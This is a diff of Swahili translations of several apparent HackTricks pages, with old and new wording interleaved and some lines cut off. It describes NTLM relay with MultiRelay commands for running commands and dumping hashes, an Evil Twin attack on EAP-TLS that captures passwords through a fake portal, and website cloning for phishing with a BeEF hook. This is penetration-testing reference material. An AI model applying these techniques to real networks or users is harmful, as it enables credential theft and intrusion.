Shambulizi hili linatumia vikao vya uwakilishi wa SMB kufikia kompyuta ya lengo, ikitoa kikao cha mfumo ikiwa mafanikio. Mahitaji muhimu ni pamoja na:
|
||||
- Mtumiaji anayethibitisha lazima awe na Ufikiaji wa Msimamizi wa Ndani kwenye mwenyeji uliopokea.
|
||||
Shambulizi hili linatumia vikao vya uthibitishaji wa SMB kufikia mashine ya lengo, ikitoa kabati ya mfumo ikiwa ni mafanikio. Vigezo muhimu ni pamoja na:
|
||||
- Mtumiaji anayethibitisha lazima awe na ufikiaji wa Msimamizi wa Ndani kwenye mwenyeji uliopokea.
|
||||
- Kusainiwa kwa SMB inapaswa kuwa imelemazwa.
|
||||
|
||||
#### Kusambaza na Kuficha Bandari 445
|
||||
#### Kusukuma Bandari 445 na Kutunelisha
|
||||
|
||||
Katika hali ambapo utangulizi wa mtandao moja kwa moja haufanikiwi, trafiki kwenye bandari 445 inahitaji kusambazwa na kufichwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa msimamizi wa ndani unapatikana kwa kupakia dereva.
|
||||
Katika hali ambapo uanzishaji wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kusukumwa na kutunelishwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenda bandari nyingine, ambayo ni muhimu wakati ufikiaji wa msimamizi wa ndani unapatikana kwa kupakia dereva.
|
||||
|
||||
Usanidi na uendeshaji wa PortBender katika Cobalt Strike:
|
||||
```bash
|
||||
|
|
@ -94,15 +95,15 @@ beacon> socks stop
|
|||
```
|
||||
### Vifaa Vingine kwa Shambulio la NTLM Relay
|
||||
|
||||
- **Metasploit**: Imewekwa na maelezo ya wakala, mwenyeji wa ndani na wa mbali.
|
||||
- **smbrelayx**: Skrini ya Python kwa kusambaza vikao vya SMB na kutekeleza amri au kuweka mlango wa nyuma.
|
||||
- **MultiRelay**: Zana kutoka kwenye seti ya Responder kwa kusambaza watumiaji maalum au watumiaji wote, kutekeleza amri, au kudondosha hash.
|
||||
- **Metasploit**: Weka kwa mawakala, maelezo ya mwenyeji wa ndani na wa mbali.
|
||||
- **smbrelayx**: Skripti ya Python kwa kurejesha vikao vya SMB na kutekeleza amri au kuweka mlango wa nyuma.
|
||||
- **MultiRelay**: Zana kutoka kwa seti ya Responder kwa kurejesha watumiaji maalum au wote, kutekeleza amri, au kudondosha hashi.
|
||||
|
||||
Kila zana inaweza kusanidiwa kufanya kazi kupitia wakala wa SOCKS ikiwa ni lazima, kuruhusu mashambulizi hata na ufikiaji wa mtandao usio wa moja kwa moja.
|
||||
Kila chombo kinaweza kusanidiwa kufanya kazi kupitia mwendeshaji wa SOCKS ikiwa ni lazima, kuruhusu mashambulizi hata na ufikiaji wa mtandao usio wa moja kwa moja.
|
||||
|
||||
### Uendeshaji wa MultiRelay
|
||||
|
||||
MultiRelay inatekelezwa kutoka kwenye saraka ya _**/usr/share/responder/tools**_, ikilenga anwani za IP au watumiaji maalum.
|
||||
MultiRelay inatekelezwa kutoka kwenye _**/usr/share/responder/tools**_ directory, ikilenga IPs au watumiaji maalum.
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||
|
|
@ -110,11 +111,9 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
Zana na mbinu hizi hufanya seti kamili ya kufanya mashambulizi ya NTLM Relay katika mazingira mbalimbali ya mtandao.
|
||||
|
||||
### Kulazimisha Kuingia kwa NTLM
|
||||
|
||||
Katika Windows, **unaweza kuwalazimisha baadhi ya akaunti zenye mamlaka kuthibitisha kwenye mashine zisizo halali**. Soma ukurasa ufuatao ili kujifunza jinsi:
|
||||
Katika Windows **unaweza kuwalazimisha baadhi ya akaunti zenye mamlaka kuingia kwa mashine za kupendelea**. Soma ukurasa ufuatao kujifunza jinsi:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
|
|
@ -128,16 +127,17 @@ Katika Windows, **unaweza kuwalazimisha baadhi ya akaunti zenye mamlaka kuthibit
|
|||
* [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,55 +1,56 @@
|
|||
# Evil Twin EAP-TLS
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Mshauri wa tuzo ya mdudu**: **Jisajili** kwa **Intigriti**, jukwaa la malipo ya tuzo la premium lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
|
||||
**Mwongozo wa tuzo ya mdudu**: **Jisajili** kwa **Intigriti**, jukwaa la **tuzo za mdudu za malipo lililoundwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
Kwa wakati fulani nilihitaji kutumia suluhisho lililopendekezwa na chapisho hapo chini lakini hatua zilizopo kwenye [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) hazikuwa zinafanya kazi kwenye kali ya kisasa (2019v3).\
|
||||
Hata hivyo, ni rahisi kuzifanya zifanye kazi.\
|
||||
Unahitaji tu kupakua hostapd-2.6 kutoka hapa: [https://w1.fi/releases/](https://w1.fi/releases/) na kabla ya kusanikisha tena hostapd-wpe, sakinisha: `apt-get install libssl1.0-dev`
|
||||
Kwa wakati fulani nilihitaji kutumia suluhisho lililopendekezwa na chapisho hapa chini lakini hatua katika [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) haikufanya kazi tena katika kali ya kisasa (2019v3).\
|
||||
Lakini, ni rahisi kufanya kazi.\
|
||||
Unahitaji tu kupakua hostapd-2.6 kutoka hapa: [https://w1.fi/releases/](https://w1.fi/releases/) na kabla ya kusanikisha tena hostapd-wpe: `apt-get install libssl1.0-dev`
|
||||
|
||||
### Uchambuzi na Udukuzi wa EAP-TLS kwenye Mitandao ya Wireless
|
||||
### Uchambuzi na Kutumia EAP-TLS katika Mitandao ya Wireless
|
||||
|
||||
#### Msingi: EAP-TLS kwenye Mitandao ya Wireless
|
||||
EAP-TLS ni itifaki ya usalama inayotoa uwakili wa pande zote kati ya mteja na seva kwa kutumia vyeti. Uunganisho unafanyika tu ikiwa mteja na seva wanathibitisha vyeti vya kila mmoja.
|
||||
#### Msingi: EAP-TLS katika Mitandao ya Wireless
|
||||
EAP-TLS ni itifaki ya usalama inayotoa uwakilishaji wa pande zote kati ya mteja na seva kwa kutumia vyeti. Uunganisho unafanywa tu ikiwa mteja na seva wanathibitisha vyeti vya kila mmoja.
|
||||
|
||||
#### Changamoto Iliyokutwa
|
||||
Wakati wa tathmini, kosa la kuvutia lilikutwa wakati wa kutumia zana ya `hostapd-wpe`. Zana ilikataa uunganisho wa mteja kwa sababu cheti cha mteja kilikuwa kimesainiwa na Mamlaka ya Cheti (CA) isiyojulikana. Hii ilionyesha kuwa mteja hakutegemea cheti bandia cha seva, ikionyesha mipangilio ya usalama dhaifu kwenye upande wa mteja.
|
||||
#### Changamoto Iliyokutana
|
||||
Wakati wa tathmini, kosa la kuvutia lilikutwa wakati wa kutumia zana ya `hostapd-wpe`. Zana ilikataa uunganisho wa mteja kwa sababu cheti cha mteja kilikuwa kimesainiwa na Mamlaka ya Cheti (CA) isiyojulikana. Hii ilionyesha kuwa mteja hakuthibitisha cheti bandia cha seva, ikionyesha mipangilio dhaifu ya usalama upande wa mteja.
|
||||
|
||||
#### Lengo: Kuweka Shambulio la Man-in-the-Middle (MiTM)
|
||||
Lengo lilikuwa kubadilisha zana ili kukubali cheti chochote cha mteja. Hii ingewezesha kuundwa kwa uhusiano na mtandao wa wireless wenye nia mbaya na kuwezesha shambulio la MiTM, ambalo linaweza kukamata nywila za maandishi wazi au data nyeti nyingine.
|
||||
#### lengo: Kuweka Mashambulizi ya Kati-kati (MiTM)
|
||||
Lengo lilikuwa kurekebisha zana ili kukubali cheti chochote cha mteja. Hii ingewezesha kuunganisha kwenye mtandao wa wireless wenye nia mbaya na kuruhusu shambulio la MiTM, ambalo linaweza kukamata nywila za maandishi wazi au data nyingine nyeti.
|
||||
|
||||
#### Suluhisho: Kubadilisha `hostapd-wpe`
|
||||
Uchambuzi wa nambari chanzo ya `hostapd-wpe` ulifunua kuwa uthibitishaji wa cheti cha mteja ulidhibitiwa na parameter (`verify_peer`) katika kazi ya OpenSSL `SSL_set_verify`. Kwa kubadilisha thamani ya parameter hii kutoka 1 (thibitisha) hadi 0 (usithibitishe), zana ilifanywa kukubali cheti chochote cha mteja.
|
||||
Uchambuzi wa msimbo wa chanzo wa `hostapd-wpe` ulifunua kuwa uthibitishaji wa cheti cha mteja ulidhibitiwa na parameter (`verify_peer`) katika kazi ya OpenSSL `SSL_set_verify`. Kwa kubadilisha thamani ya parameter hii kutoka 1 (kuthibitisha) hadi 0 (kutokuthibitisha), zana ilifanywa kukubali cheti chochote cha mteja.
|
||||
|
||||
#### Kutekeleza Shambulio
|
||||
#### Utekelezaji wa Shambulio
|
||||
1. **Uchunguzi wa Mazingira:** Tumia `airodump-ng` kufuatilia mitandao ya wireless na kutambua malengo.
|
||||
2. **Sanidi AP Bandia:** Chalisha `hostapd-wpe` iliyobadilishwa ili kuunda Kituo cha Upatikanaji (AP) bandia kinachofanana na mtandao wa lengo.
|
||||
3. **Ubinafsishaji wa Portal ya Kuteka:** Geuza ukurasa wa kuingia wa portal ya kuteka ili uonekane halali na wa kawaida kwa mtumiaji wa lengo.
|
||||
4. **Shambulio la Kukataa Huduma:** Hiari, fanya shambulio la kukataa huduma ili kumtoa mteja kwenye mtandao halali na kumwunganisha kwenye AP bandia.
|
||||
5. **Kukamata Nywila:** Mara tu mteja anapounganisha kwenye AP bandia na kuingiliana na portal ya kuteka, nywila zao zinakamatwa.
|
||||
2. **Sanidi AP Bandia:** Anzisha `hostapd-wpe` iliyorekebishwa kuunda Kituo cha Kufikia Bandia (AP) kinachofanana na mtandao wa lengo.
|
||||
3. **Uboreshaji wa Ukurasa wa Kuingia wa Kizuizi:** Boresha ukurasa wa kuingia wa kizuizi cha kufanya uonekane halali na wa kawaida kwa mtumiaji wa lengo.
|
||||
4. **Shambulio la Kufuta Uthibitisho:** Hiari, fanya shambulio la kufuta uthibitisho ili kumtoa mteja kwenye mtandao halali na kumwunganisha kwenye AP bandia.
|
||||
5. **Kukamata Nywila:** Mara tu mteja anapounganisha kwenye AP bandia na kuingiliana na ukurasa wa kuingia wa kizuizi, nywila zao zinakamatwa.
|
||||
|
||||
#### Uchunguzi kutoka kwenye Shambulio
|
||||
- Kwenye mashine za Windows, mfumo unaweza kuunganisha moja kwa moja kwenye AP bandia, ukionyesha portal ya kuteka wakati wa kujaribu kuvinjari wavuti.
|
||||
- Kwenye iPhone, mtumiaji anaweza kuombwa kukubali cheti kipya na kisha kuonyeshwa na portal ya kuteka.
|
||||
#### Uchunguzi kutoka kwa Shambulio
|
||||
- Kwenye mashine za Windows, mfumo unaweza kuunganisha moja kwa moja kwenye AP bandia, ukionyesha ukurasa wa kuingia wa kizuizi wakati ujaribu kuvinjari wavuti.
|
||||
- Kwenye iPhone, mtumiaji anaweza kuombwa kukubali cheti kipya na kisha kuonyeshwa na ukurasa wa kuingia wa kizuizi.
|
||||
|
||||
#### Hitimisho
|
||||
Ingawa EAP-TLS inachukuliwa kuwa salama, ufanisi wake unategemea sana mipangilio sahihi na tabia ya tahadhari ya watumiaji wa mwisho. Vifaa vilivyowekwa vibaya au watumiaji wasio na shaka wanaokubali vyeti bandia wanaweza kudhoofisha usalama wa mtandao uliolindwa na EAP-TLS.
|
||||
Ingawa EAP-TLS inachukuliwa kuwa salama, ufanisi wake unategemea sana mipangilio sahihi na tabia ya waendeshaji wa mwisho. Vifaa vilivyo na mipangilio mibovu au watumiaji wasio na shaka kukubali vyeti bandia wanaweza kudhoofisha usalama wa mtandao uliolindwa na EAP-TLS.
|
||||
|
||||
Kwa maelezo zaidi angalia https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/
|
||||
|
||||
|
|
@ -57,18 +58,21 @@ Kwa maelezo zaidi angalia https://versprite.com/blog/application-security/eap-tl
|
|||
* [https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Mshauri wa tuzo ya mdudu**: **Jisajili** kwa **Intigriti**, jukwaa la malipo ya tuzo la premium lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
|
||||
**Mwongozo wa tuzo ya mdudu**: **Jisajili** kwa **Intigriti**, jukwaa la **tuzo za mdudu za malipo lililoundwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -18,9 +19,9 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
|
||||
|
||||
Kwa tathmini ya udukuzi wa phishing mara kwa mara inaweza kuwa muhimu kwa kiasi kikubwa **kuiga tovuti**.
|
||||
Kwa tathmini ya udukuzi wa phishing mara kwa mara inaweza kuwa muhimu kuchukua kabisa **nakala ya tovuti**.
|
||||
|
||||
Tambua kwamba unaweza pia kuongeza baadhi ya mzigo kwenye tovuti iliyoklona kama kitanzi cha BeEF ili "kudhibiti" kichupo cha mtumiaji.
|
||||
Tambua kwamba unaweza pia kuongeza baadhi ya mzigo kwenye tovuti iliyochomwa kama kitanzi cha BeEF ili "kudhibiti" kichupo cha mtumiaji.
|
||||
|
||||
Kuna zana tofauti unazoweza kutumia kwa lengo hili:
|
||||
|
||||
|
|
@ -29,6 +30,10 @@ Kuna zana tofauti unazoweza kutumia kwa lengo hili:
|
|||
wget -mk -nH
|
||||
```
|
||||
## goclone
|
||||
|
||||
### Maelezo
|
||||
|
||||
Goclone ni chombo cha kutumia wakati unataka kuiga tovuti fulani. Inaruhusu kuiga tovuti nzima kwa kubonyeza kitufe kimoja. Unaweza kuchagua kati ya kufanya nakala ya tovuti nzima au kuchagua kurasa maalum za kuiga. Goclone inaweza kuokoa muda wako sana wakati wa kutekeleza shambulio la kijamaa.
|
||||
```bash
|
||||
#https://github.com/imthaghost/goclone
|
||||
goclone <url>
|
||||
|
|
@ -41,17 +46,17 @@ goclone <url>
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Aunga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,37 +1,38 @@
|
|||
# Msingi wa Python
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
